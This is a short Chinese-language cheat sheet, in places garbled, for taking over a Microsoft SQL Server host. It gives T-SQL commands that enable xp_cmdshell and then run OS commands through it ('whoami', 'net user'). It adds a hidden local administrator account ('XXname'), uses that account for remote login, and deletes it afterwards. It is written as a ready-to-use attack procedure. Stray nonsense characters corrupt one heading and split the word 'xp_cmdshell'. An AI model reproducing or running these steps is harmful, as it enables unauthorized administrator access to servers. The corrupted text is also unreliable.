1、一、开启相应组件SELECT @@versionselect @@spidSELECT @@SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User Name';USE masterGOexec sp_configure 'show advanced options',1goRECONFIGUREGOEXEC sp_configure 'xp_cmdshell',1goRECONFIGUREGO
2、二、查询服务器运行状态exec master.dbo.xp_cmdshell 'query user'exec master..xp_cmdshell "whoami"
3、三、新建服务器管理员黑具跑秀权限账号exec master.dbo.xp_cmdshell 'net user'exec master.dbo.xp_cmdsh髫潋啜缅ell 'net user XXname XXpass@word /add'exec master..xp_cmdshell 'net localgroup administrators XXname /add'exec master..xp_cmdshell 'net user'
4、四、远程控制数据库服务器利用新建的XXname账号登陆到数据库服务器
5、五、删除新建的账号exec master.dbo.xp_cmdshell 'net user XXname'exec master..xp_cmdshell 'net user XXname /del'